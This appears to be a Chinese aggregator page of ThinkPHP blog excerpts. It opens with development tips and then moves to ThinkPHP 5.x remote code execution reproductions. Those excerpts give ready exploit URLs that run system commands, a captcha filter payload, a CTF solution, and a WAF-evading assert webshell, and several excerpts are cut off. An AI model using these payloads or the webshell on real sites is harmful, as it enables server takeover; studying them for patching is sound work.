ThinkPHP

Thinkphp5.0 根据ip地址的定位与纠错

跟風遠走 提交于 2020-05-07 02:30:55
一 问题描述 在web开发过程中,总想一开网络,就根据用户当前的ip所在区域进行初步定位.用哪些方法来具体实现呢? 二 thinkphp方法及测试 1.下载ip类库和地址文件,并拷贝到如图目录extend/Org/Net下 2 在控制器里写测试方法 从请求里得到客户端ip,并定位区域 3 浏览器测试 我所在区域为河北省邯郸。可见,thinkphp所提供的方法得到的ip正确,地址错误。原因为国内ip不足,多为虚拟ip,或者地址类库数据错误。此方法不可取。 三 淘宝ip服务获取地址 1 控制器方法如下: 2 浏览器测试 同样的ip,地址不同,这次得到了真正的真实地址。 四 总结 thinkphp根据ip定位不可取,需要用其他ip定位服务。此例中淘宝服务及方法可以借签使用,简单准确. 来源: oschina 链接: https://my.oschina.net/u/4389765/blog/4236737

生成静态页面

主宰稳场 提交于 2020-05-06 15:15:05
public function index() { $file_name = 'index_wap.html' ; if ( file_exists ( $file_name ) && filemtime ( $file_name ) - time () < 10 ){ // 如果文件是存在并且最后修改时间小于设定时间 10s require_once ( $file_name ); // 引入文件 } else { ob_start (); $seodata = Db::table('WWWseo')->where('id',1)-> find(); $this ->assign('seodata', $seodata ); echo $this -> fetch(); file_put_contents ( $file_name , ob_get_contents ()); // 输出到浏览器 } } 附上ThinkPHP5中哪些小技巧可以提高性能 https://blog.csdn.net/weixin_39820924/article/details/80805315?depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromBaidu-4&utm_source=distribute.pc

Thinkphp中无法获取用户真实IP

血红的双手。 提交于 2020-05-06 10:15:56
TP6中无法获取到用户真实的IP,无法穿透代理,以下分享一个自用的获取IP的代码,估计TP5中存在同样的问题。 ** * 获得用户的真实IP地址 * * @access public * @return string */ function real_ip() { static $realip = NULL; if ($realip !== NULL) { return $realip; } if (isset($_SERVER)) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); /* 取X-Forwarded-For中第一个非unknown的有效IP字符串 */ foreach ($arr AS $ip) { $ip = trim($ip); if ($ip != 'unknown') { $realip = $ip; break; } } } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $realip = $_SERVER['HTTP_CLIENT_IP']; } else { if (isset($_SERVER['REMOTE_ADDR'])) { $realip = $

阿里云 Composer 全量镜像安装tpV6.0.2

无人久伴 提交于 2020-05-05 14:25:08
1. window7配置php环境变量 系统变量,administrator变量,将php,composer文件路径加到path里面。如:D:\phpstudy_pro\Extensions\php\php7.3.4nts;D:\phpstudy_pro\Extensions\composer1.8.5 2. 打开window cmd 切换到需要安装的目录下,执行以下命令进行全局配置( https://blog.thinkphp.cn/1147952 ) composer config - g repo . packagist composer https : / / mirrors . aliyun . com / composer / 3. 然后执行以下命令进行全新安装 composer create - project topthink / think tp ( http://www.thinkphp.cn/topic/67456.html ) 注意: ThinkPHPV6.0.2 的入口文件是根目录下的public文件 来源: oschina 链接: https://my.oschina.net/u/4225107/blog/4267126

ThinkPHP5 核心类 Request 远程代码漏洞分析

筅森魡賤 提交于 2020-05-04 05:29:48
ThinkPHP5 核心类 Request 远程代码漏洞分析 先说下xdebug+phpstorm审计环境搭建: php.ini添加如下配置,在phpinfo页面验证是否添加成功。 [XDebug] ;xdebug.profiler_output_dir="D:\phpStudy\tmp\xdebug" ;xdebug.trace_output_dir="D:\phpStudy\tmp\xdebug" zend_extension="D:\phpstudy\php\php-5.5.38\ext\php_xdebug.dll" xdebug.auto_trace = 1 xdebug.trace_format = 0 xdebug.trace_output_dir="D:\phpstudy\tmp\xdebug" xdebug.trace_options = 0 xdebug.collect_params = 4 xdebug.collect_return = 1 xdebug.collect_vars = 1 xdebug.collect_assignments = 1 xdebug.profiler_append = 0 xdebug.profiler_enable = 1 xdebug.profiler_enable_trigger = 0 xdebug.profiler

thinkphp下的Webshell&&php过D盾一句话

血红的双手。 提交于 2020-05-04 05:29:32
环境: Thinkphp 5.0.15 PHP version:7.0.12 WAF: D盾 ,安全狗 Thinkphp 采用 MVC 模式 核心:模块 -> 控制器 –> 方法 思路:利用已经有的think 类包库 去做一些事情 利用已有的功能,顺便对D盾 绕过 方法: Payload1: http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=phpinfo() Payload2: http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=system(‘whoami’) 代码: <? php namespace app\index\controller; use \think\App; class index { public function index( $f , $shell ) { $a = new App(); $c = $a ->invokeFunction( $f , $shell ); return '</br> sucess' ; } } 关于用这个的来源: Thinkphp5 rce 漏洞

CTF-攻防世界-web-php_rce(ThinkPHP远程代码执行)

我怕爱的太早我们不能终老 提交于 2020-05-04 05:29:16
题目 今天做CTF的时候,遇到下面这道题,看上去应该跟ThinkPHP版本5的相关漏洞。之前听过ThinkPHP有漏洞,具体情况不清楚。。。 解题过程 去vulhub上搜了下ThinkPHP,还真有,把docker容器打开看了下,页面一摸一样哈哈: 这是一个远程代码执行漏洞,先学习vulhub复现这个漏洞的过程: 输入:http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1,可执行phpinfo: 拉到页面底部,看到ThinkPHP的版本是5.0.20: 可以执行phpinfo,那可不可以执行其他命令呢?查了一下网上的payload,如下: 输入:http://your-ip:8080/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 返回:www-data www-data 再回到CTF的这道题,应该考的就是这个命令执行的漏洞: 输入: http://111.198.29.45:38658/index.php?s=/Index/

ThinkPHP 5.x远程命令执行漏洞复现

大憨熊 提交于 2020-05-04 04:39:10
ThinkPHP 5.x远程命令执行漏洞复现 一、漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.thinkphp.cn/869075 漏洞的原因是由于框架对控制器名没有进行足够的检测,导致在没有开启强制路由(默认未开启)的情况下可能导致远程代码执行,受影响的版本包括5.0和5.1。 二、漏洞影响版本 Thinkphp 5.x-Thinkphp 5.1.31 Thinkphp 5.0.x<=5.0.23 三、漏洞复现 1、官网下载Thinkphp 5.0.22,下载地址: http://www.thinkphp.cn/donate/download/id/1260.html 2、使用phpstudy搭建环境,解压下载的Thinkphp5.0.22到网站目录下,浏览器访问http://192.168.10.171/thinkphp5.0.22/public     3、利用system函数远程命令执行 Payload如下: ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami    4、通过phpinfo函数查看phpinfo()的信息 

ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程命令执行漏洞

柔情痞子 提交于 2020-05-04 03:30:46
ThinkPHP 5.0.x、5.1.x、5.2.x 全版本远程代码执行漏洞 作者:SoulCat. 来源:CSDN 原文:https://blog.csdn.net/csacs/article/details/86668057 版权声明:本文为博主原创文章,转载请附上博文链接! 漏洞概述: ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架。借鉴Struts框架的Action对象,同时也使用面向对象的开发结构和MVC模式。1月11日,ThinkPHP官方发布新版本5.0.24,在1月14日和15日发布两个更新,这几次更新都修复了远程代码执行漏洞,对于5.0.x、5.1.x、5.2.x 这几个版本,都无需登入可以进行远程代码执行。 漏洞版本: 5.0.x 5.1.x 5.2.x 漏洞搭建: 利用vulhub漏洞平台(简单粗暴,可一键生成漏洞!)进行快速搭建,cd 到thinkphp目录,任意选择一个版本,然后docker-compose up -d 5.1.x之后,必须在本地搭建,vulhub未提供。 如图所示搭建成功,走起! 漏洞复现: 分两个版本5.0.x和5.1.x、5.2.x,分别验证。 1.版本5.0.x 将控制的url参数s的设置为captcha,并且设置post数据:_method=__construct&filter=system&method

ThinkPHP 漏洞利用

半城伤御伤魂 提交于 2020-05-03 19:49:46
ThinkPHP thinkphp_5x_命令执行漏洞 受影响版本包括5.0和5.1版本 docker漏洞环境源码: https://github.com/vulnspy/thinkphp-5.1.29 本地环境搭建: thinkphp5.0.15+php5.6n+ apache2.0 http://www.thinkphp.cn/donate/download/id/1125.html 利用system函数远程命令执行 EXP http://127.0.0.1/middleware/thinkphp_5.0.15_full/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 通过phpinfo函数写出phpinfo()信息 EXP: http://127.0.0.1/middleware/thinkphp_5.0.15_full/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 写入shell http://127.0.0.1